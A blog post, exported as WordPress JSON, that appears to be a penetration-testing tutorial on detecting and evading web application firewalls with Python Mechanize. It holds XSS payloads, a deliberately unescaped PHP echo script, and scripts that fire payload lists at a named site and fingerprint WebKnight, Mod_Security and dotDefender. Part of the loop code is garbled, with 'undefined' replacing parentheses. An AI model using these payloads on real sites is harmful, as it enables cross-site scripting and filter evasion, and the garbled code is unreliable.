{"id":464,"date":"2018-10-17T11:42:05","date_gmt":"2018-10-17T11:42:05","guid":{"rendered":"https:\/\/www.appservgrid.com\/paw92\/index.php\/2018\/10\/17\/use-python-to-detect-and-bypass-web-application-firewall\/"},"modified":"2018-10-17T11:42:05","modified_gmt":"2018-10-17T11:42:05","slug":"use-python-to-detect-and-bypass-web-application-firewall","status":"publish","type":"post","link":"https:\/\/www.appservgrid.com\/paw92\/index.php\/2018\/10\/17\/use-python-to-detect-and-bypass-web-application-firewall\/","title":{"rendered":"Use Python To Detect And Bypass Web Application Firewall"},"content":{"rendered":"<p>\n<a href=\"https:\/\/2.bp.blogspot.com\/-WPKi4CbsIFw\/WFZg_-5lVZI\/AAAAAAAACO8\/UFImBeNSL7QbB-HVnJSeM_B69MGpGKBcwCLcB\/s1600\/Python%2BMechanize.jpg\"><img loading=\"lazy\" decoding=\"async\" height=\"200\" src=\"https:\/\/2.bp.blogspot.com\/-WPKi4CbsIFw\/WFZg_-5lVZI\/AAAAAAAACO8\/UFImBeNSL7QbB-HVnJSeM_B69MGpGKBcwCLcB\/s200\/Python%2BMechanize.jpg\" width=\"200\" \/><\/a><\/p>\n<p>Web application firewalls are usually placed in front of the web<br \/>\nserver to filter the malicious traffic coming towards server. If you are<br \/>\n hired as a penetration tester for some company and they forgot to tell<br \/>\nyou that they are using web application firewall than you might get into<br \/>\n a serious mess. The figure below depicts the working of a simple web<br \/>\napplication firewall:<\/p>\n<p>As<br \/>\n you can see its like a wall between web traffic and web server, usually<br \/>\n now a days web application firewalls are signature based.<\/p>\n<p><h3>\nWhat is a signature based firewall?<\/h3>\n<p>\nIn<br \/>\n a signature based firewall you define signatures, as you know web<br \/>\nattacks follow similar patters or signatures as well. So we can define<br \/>\nthe matching patterns and block them, i.e.<\/p>\n<p>\nPayload :- &lt;svg&gt;&lt;script&gt;alert&amp;grave;1&amp;grave;&lt;p&gt;<\/p>\n<p>\nThe<br \/>\n payload defined above is a kind of cross site scripting attack, and we<br \/>\nknow that all these attacks can contain following substring -&gt; &#8220;&lt;script&gt;&#8221;,<br \/>\n so why don&#8217;t we define a signature that can block a web traffic if it<br \/>\ncontains this sub string, we can define 2-3 signatures as defined below:<\/p>\n<p><\/p>\n<ol>\n<li>&lt;script&gt;<\/li>\n<li>alert(*)<\/li>\n<\/ol>\n<p>\nFirst<br \/>\n signature will block any request that contains &lt;script&gt;<br \/>\nsubstring, and second one will block alert(any text). So, this is how<br \/>\nsignature based firewall works.<\/p>\n<p><\/p>\n<h2>\nHow to know there is a firewall?<\/h2>\n<p><a href=\"https:\/\/images-blogger-opensocial.googleusercontent.com\/gadgets\/proxy?url=http%3A%2F%2Fcyberpersons.com%2Fwp-content%2Fuploads%2F2016%2F12%2Fweb-applicaion-firewall-cyberpersons.gif&amp;container=blogger&amp;gadget=a&amp;rewriteMime=image%2F*\"><img loading=\"lazy\" decoding=\"async\" alt=\"web-applicaion-firewall-cyberpersons\" height=\"146\" src=\"https:\/\/lh3.googleusercontent.com\/proxy\/RwBbz0QpND4NIWLK-KC_uRG37CNSVgho8gN72ceEfVRiB_UqtIB-jTOfWfLKjsDHWG6FBrfobsjOAWoFl3_QKguUE88JdLBYJtfZBdjoD7ezQIFsUO7WUDQLPjADIr28zvQqdbtsxich5lIXfwxM=s0-d\" width=\"422\" \/><\/a><\/p>\n<p>\nIf<br \/>\n you are performing a penetration test and you didn&#8217;t know that there<br \/>\nwas a firewall blocking the traffic than it can waste a lot of your<br \/>\ntime, because most of the time your attack payloads are getting blocked<br \/>\nby the firewall not by your application code, and you might end up<br \/>\nthinking that the application you are testing have a secure good and is<br \/>\ngood to go. So, it is a good idea to first test for web application<br \/>\nfirewall presence before you start your penetration test.<\/p>\n<p>\nMost of<br \/>\nthe firewalls today leave some tracks about them, now If you attack a<br \/>\nweb application using the payload we defined above and get the following<br \/>\n response:<\/p>\n<p>HTTP\/1.1 406 Not Acceptable<br \/>\nDate: Mon, 10 Jan 2016<br \/>\nServer: nginx<br \/>\nContent-Type: text\/html; charset=iso-8859-1<br \/>\nNot Acceptable!Not Acceptable! An appropriate representation of the<\/p>\n<p>requested resource could not be found on this server. This error was generated by Mod_Security.<\/p>\n<p>You<br \/>\n can clearly see that your attack was blocked by the Mod_Security<br \/>\nfirewall. In this article we will see how we can develop a simple python<br \/>\n script that can do this task detecting firewall and bypassing it.<\/p>\n<p><\/p>\n<h2>\nStep 1: Define HTML Document and PHP Script!<\/h2>\n<p>\nWe<br \/>\n will have to define our HTML document for injection of payload and<br \/>\ncorresponding PHP script to handle the data. We have defined both of<br \/>\nthem below.<\/p>\n<p>\nWe will be using the following <b>HTML Document<\/b>:<\/p>\n<p>&lt;html&gt;<br \/>\n&lt;body&gt;<br \/>\n&lt;form name=&#8221;waf&#8221; action=&#8221;waf.php&#8221; method=&#8221;post&#8221;&gt;<br \/>\nData: &lt;input type=&#8221;text&#8221; name=&#8221;data&#8221;&gt;&lt;br&gt;<br \/>\n&lt;input type=&#8221;submit&#8221; value=&#8221;Submit&#8221;&gt;<br \/>\n&lt;\/form&gt;<br \/>\n&lt;\/body&gt;<br \/>\n&lt;\/html&gt;<\/p>\n<p><b><br \/><\/b><br \/>\n<b>PHP Script:<\/b><br \/><b><br \/><\/b><br \/>\n<br \/>&lt;html&gt;<br \/>\n&lt;body&gt;<br \/>\nData from the form : &lt;?php echo $_POST[&#8220;data&#8221;]; ?&gt;&lt;br&gt;<br \/>\n&lt;\/body&gt;<br \/>\n&lt;\/html&gt;<\/p>\n<h2>\nStep 2: Prepare malicious request!<\/h2>\n<p>\nOur<br \/>\nsecond step towards detecting the firewall presence is creating a<br \/>\nmalicious cross site scripting request that can be blocked by the<br \/>\nfirewall. We will be using a python module called &#8216;Mechanize&#8217;, to know<br \/>\nmore about this module please read the following article :<\/p>\n<p><p>\nIf<br \/>\n you already know about Mechanize, you can skip reading the article. Now<br \/>\n that you know about Mechanize, we can select the web form present on<br \/>\nany page and submit the request. Following code snippet can be used to<br \/>\ndo that:<\/p>\n<p>import mechanize as mec<br \/>\nmaliciousRequest = mec.Browser()<br \/>\nformName = &#8216;waf&#8217;<br \/>\nmaliciousRequest.open(&#8220;http:\/\/check.cyberpersons.com\/crossSiteCheck.html&#8221;)<br \/>\nmaliciousRequest.select_form(formName)\n<\/p>\n<p>\nLets discuss this code line wise:<\/p>\n<p><\/p>\n<ol>\n<li>On the first line we&#8217;ve imported the mechanize module and given it a short name &#8216;mec&#8217; for later reference.<\/li>\n<li>To<br \/>\n download a web page using mechanize, instantiation of browser is<br \/>\nrequired. We&#8217;ve just did that in the second line of the code.<\/li>\n<li>On<br \/>\n the first step we&#8217;ve defined our HTML document, in which the form name<br \/>\nwas &#8216;waf&#8217;, we need to tell mechanize to select this form for submission,<br \/>\n so we&#8217;ve this name in a variable called formName.<\/li>\n<li>Than we<br \/>\nopened this url, just like we do in a browser. After the page gets<br \/>\nopened we fill in the form and submit data, so opening of page is same<br \/>\nhere.<\/li>\n<li>Finally we&#8217;ve selected the form using &#8216;select_form&#8217; function passing it &#8216;formName&#8217; variable.<\/li>\n<\/ol>\n<p>\nAs<br \/>\n you can see in the HTML source code, that this form have only one input<br \/>\n field, and we are going to inject our payload in that field and once we<br \/>\n receive response we&#8217;re going to inspect it for know strings to detect<br \/>\nthe presence of the web application firewall.<\/p>\n<p><\/p>\n<h2>\nStep 3: Prepare the payload<\/h2>\n<p>\nIn our HTML document we&#8217;ve specified one input field using this code:<\/p>\n<p>\ninput type=&#8221;text&#8221; name=&#8221;data&#8221;&gt;&lt;br&gt;<\/p>\n<p>\nYou can see that name of this field is &#8216;data&#8217;, we can use following bit of code to define input for this field :<\/p>\n<p>crossSiteScriptingPayLoad = &#8220;&lt;svg&gt;&lt;script&gt;alert&amp;grave;1&amp;grave;&lt;p&gt;&#8221;<\/p>\n<p>maliciousRequest.form[&#8216;data&#8217;] = crossSiteScriptingPayLoad<\/p>\n<ol>\n<li>First line saves our payload in a variable.<\/li>\n<li>In a second line of code, we&#8217;ve assigned our payload to a form field &#8216;data&#8217;.<\/li>\n<\/ol>\n<p>We can now safely submit this form and inspect the response.<\/p>\n<p><\/p>\n<h2>\nStep 4: Submit the form and record Response<\/h2>\n<p>\nCode I am going to mention after this line will submit the form and record the response:<\/p>\n<p>maliciousRequest.submit()<br \/>\nresponse = maliciousRequest.response().read()<\/p>\n<p>print response<\/p>\n<ol>\n<li>Submit the form.<\/li>\n<li>Save the response in a variable.<\/li>\n<li>Print the response back.<\/li>\n<\/ol>\n<p>As I currently have no firewall installed, the response I got is :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" alt=\"no-web-application-firewall-present\" height=\"120\" src=\"https:\/\/lh4.googleusercontent.com\/proxy\/LEd5a7RJCXuz1qHhKHr1Ai5jNyde-MsQRvqVclNLdElG8nicc2-FYsDwhFufu5iUv1X3tkYfg8g4Mcfifj6WwQTY4SCEY8sHmjlD5zm-clNlFwYwAzuX6koAFYLvwI0nopUusilXpfF3McHKN3w=s0-d\" width=\"564\" \/><\/p>\n<p>\nAs<br \/>\n you can see that payload is printed back to us, means no filtering is<br \/>\npresent on the application code and due to the absence of firewall our<br \/>\nrequest was also not blocked.<\/p>\n<p><\/p>\n<h2>\nStep 5: Detect the Presence of firewall<\/h2>\n<p>\nVariable<br \/>\n named &#8216;response&#8217; contains the response we got from server, we can use<br \/>\nthe response to detect presence of firewall. We will try to detect the<br \/>\npresence of following firewalls in this tutorial.<\/p>\n<p><\/p>\n<ol>\n<li>WebKnight.<\/li>\n<li>Mod_Security.<\/li>\n<li>Dot Defender.<\/li>\n<\/ol>\n<p>\nLet see how we can achieve this with python code:<\/p>\n<p>if response.find(&#8216;WebKnight&#8217;) &gt;= 0:<br \/>\n print &#8220;Firewall detected: WebKnight&#8221;<br \/>\nelif response.find(&#8216;Mod_Security&#8217;) &gt;= 0:<br \/>\n print &#8220;Firewall detected: Mod Security&#8221;<br \/>\nelif response.find(&#8216;Mod_Security&#8217;) &gt;= 0:<br \/>\n print &#8220;Firewall detected: Mod Security&#8221;<br \/>\nelif response.find(&#8216;dotDefender&#8217;) &gt;= 0:<br \/>\n print &#8220;Firewall detected: Dot Defender&#8221;<br \/>\nelse:<br \/>\n print &#8220;No Firewall Present&#8221;<\/p>\n<p>\nIf Web Knight firewall is<br \/>\ninstalled and our request got blocked, response string will contain<br \/>\n&#8216;WebKnight&#8217; inside it some where, so find function will return value<br \/>\ngreater than 0, that means WebKnight firewall is present. Similarly we<br \/>\ncan check for other 2 firewalls as well.<\/p>\n<p>\nWe can extend this small application to detect for as many number of firewalls, but you must know there response behavior.<\/p>\n<p><\/p>\n<h2>\nUsing Brute force to bypass Firewall filter<\/h2>\n<p>\nI&#8217;ve<br \/>\n mentioned in the start of the article that mostly firewall these days<br \/>\nblock requests based on signatures. But there are hundreds and thousands<br \/>\n of ways you can construct a payload. Java script is becoming complex<br \/>\nday by day, we can make a list of payloads, and try each of them, record<br \/>\n each response and check if we was able to bypass the firewall or not.<br \/>\nPlease note that if firewall rules are well defined than this approach<br \/>\nmight not work. Let see how we can brute force using python:<\/p>\n<p>listofPayloads = [&#8216;&amp;lt;dialog open=&#8221;&#8221; onclose=&#8221;alertundefined1)&#8221;&amp;gt;&amp;lt;form method=&#8221;dialog&#8221;&amp;gt;&amp;lt;button&amp;gt;Close me!&amp;lt;\/button&amp;gt;&amp;lt;\/form&amp;gt;&amp;lt;\/dialog&amp;gt;&#8217;, &#8216;&amp;lt;svg&amp;gt;&amp;lt;script&amp;gt;prompt&amp;amp;#40 1&amp;amp;#41&amp;lt;i&amp;gt;&#8217;, &#8216;&amp;lt;a href=&#8221;&amp;amp;#1;javascript:alertundefined1)&#8221;&amp;gt;CLICK ME&amp;lt;a&amp;gt;&#8217;]<br \/>\nfor payLoads in listofPayloads:<br \/>\n maliciousRequest = mec.Browserundefined)<br \/>\n formName = &#8216;waf&#8217;<br \/>\n maliciousRequest.openundefined&#8221;http:\/\/check.cyberpersons.com\/crossSiteCheck.html&#8221;)<br \/>\n maliciousRequest.select_formundefinedformName)<br \/>\n maliciousRequest.form[&#8216;data&#8217;] = payLoads<br \/>\n maliciousRequest.submitundefined)<br \/>\n response = maliciousRequest.responseundefined).readundefined)<br \/>\n if response.findundefined&#8217;WebKnight&#8217;) &amp;gt;= 0:<br \/>\n print &#8220;Firewall detected: WebKnight&#8221;<br \/>\n elif response.findundefined&#8217;Mod_Security&#8217;) &amp;gt;= 0:<br \/>\n print &#8220;Firewall detected: Mod Security&#8221;<br \/>\n elif response.findundefined&#8217;Mod_Security&#8217;) &amp;gt;= 0:<br \/>\n print &#8220;Firewall detected: Mod Security&#8221;<br \/>\n elif response.findundefined&#8217;dotDefender&#8217;) &amp;gt;= 0:<br \/>\n print &#8220;Firewall detected: Dot Defender&#8221;<br \/>\n else:<br \/>\n print &#8220;No Firewall Present&#8221;<\/p>\n<p><\/p>\n<ol>\n<li>On the first line we&#8217;ve defined a list of 3 payloads, you can extend this list and add as many payloads as you require.<\/li>\n<li>Then inside the for loop we did the same process we did above, but this time for each payload in a list.<\/li>\n<li>Upon receiving response we again compare and see see if firewall is present on not.<\/li>\n<\/ol>\n<p>\nAs I&#8217;ve had no firewall installed, my output was:<\/p>\n<p>\n<img loading=\"lazy\" decoding=\"async\" alt=\"no-firewall-present\" height=\"178\" src=\"https:\/\/lh3.googleusercontent.com\/proxy\/oQFF3nxW6C87uxAer1od3jvxjgP6O-EwvLOFhNTbjmOqL2DcQ4VGGLWY6-1PUALIr4oiaa5nhDkYI5RX6z3dERkJ9IePJ7XovV4rw2R2LKnR6grn7p3iqIHynxa0Tw=s0-d\" width=\"512\" \/><\/p>\n<h2>\nConvert HTML Tags to Unicode or Hex Entities<\/h2>\n<p>If<br \/>\n for example firewall is filtering html tags like &lt;, &gt;. We can<br \/>\nsend their corresponding Unicode or Hex Entities and see if they are<br \/>\nbeing converted to there original form, if so, than this could be an<br \/>\nentry point as well. Code below can be used to examine this process:<\/p>\n<p>listofPayloads = [&#8216;&amp;lt;b&amp;gt;&#8217;,&#8217;u003cbu003e&#8217;,&#8217;x3cbx3e&#8217;]<br \/>\nfor payLoads in listofPayloads:<br \/>\n maliciousRequest = mec.Browser()<br \/>\n formName = &#8216;waf&#8217;<br \/>\n maliciousRequest.open(&#8220;http:\/\/check.cyberpersons.com\/crossSiteCheck.html&#8221;)<br \/>\n maliciousRequest.select_form(formName)<br \/>\n maliciousRequest.form[&#8216;data&#8217;] = payLoads<br \/>\n maliciousRequest.submit()<br \/>\n response = maliciousRequest.response().read()<br \/>\n print &#8220;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8221;<br \/>\n print response<br \/>\n print &#8220;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8221;<\/p>\n<p>Each<br \/>\n time we will send the encoded entry and in the response we will examine<br \/>\n if it got converted or printed back without conversion, when I ran this<br \/>\n code I got the this output :<\/p>\n<p>\n<img loading=\"lazy\" decoding=\"async\" alt=\"cross-site-scripting-encoded-html-tags\" height=\"399\" src=\"https:\/\/lh4.googleusercontent.com\/proxy\/V4XjIRrmfEN6lFYmYgaSOR248CkjAD39Amt6iLHyBCUeE3mFC4nxVz8u_tsXS95BnSU6ubRZl705C1b_4H0ojOSOgKJat7SPFV0slDUXc18JigrC6vtdGDarY_UcDkaf78qwPmePrO3Ei-0XVJWipFE=s0-d\" width=\"864\" \/>\n<\/p>\n<p>\nMeans none of the encoded entry got converted to its original form.<\/p>\n<p><\/p>\n<h2>\nConclusion<\/h2>\n<p>\nThe<br \/>\n purpose of this article was to train you in advance so that you can<br \/>\npenetrate your firewall before a hacker can do. It is always a good<br \/>\nchoice to self test your network infrastructure for vulnerabilities,<br \/>\nbecause our first concern always is to get our application up and<br \/>\nrunning and we overlook the security part. But it must not be over<br \/>\nlooked, because later it can be a huge headache.<\/p>\n<p>\nComplete source code can be downloaded from this <\/p>\n<p><a href=\"https:\/\/paste.ee\/p\/T9qb5\" target=\"_blank\">link<\/a><\/p>\n<p>.<\/p>\n<p><b>Author Info:<\/b><b><br \/><\/b><br \/>\nUsman Nasir, founder, and author of <a href=\"http:\/\/cyberpersons.com\/\" target=\"_blank\">Cyberpersons<\/a><br \/>\n is a Computer Science student. I also worked as a technical support<br \/>\nstaff at various hosting companies and love to write about Linux and web<br \/>\n application security.<\/p>\n<p> <a href=\"https:\/\/www.kalitutorials.net\/2016\/12\/python-detect-and-bypass-web-application-firewall.html\" target=\"_blank\">Source<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Web application firewalls are usually placed in front of the web server to filter the malicious traffic coming towards server. If you are hired as a penetration tester for some company and they forgot to tell you that they are using web application firewall than you might get into a serious mess. The figure below &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/www.appservgrid.com\/paw92\/index.php\/2018\/10\/17\/use-python-to-detect-and-bypass-web-application-firewall\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Use Python To Detect And Bypass Web Application Firewall&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-464","post","type-post","status-publish","format-standard","hentry","category-linux"],"_links":{"self":[{"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/posts\/464","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/comments?post=464"}],"version-history":[{"count":0,"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/posts\/464\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/media?parent=464"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/categories?post=464"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/tags?post=464"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}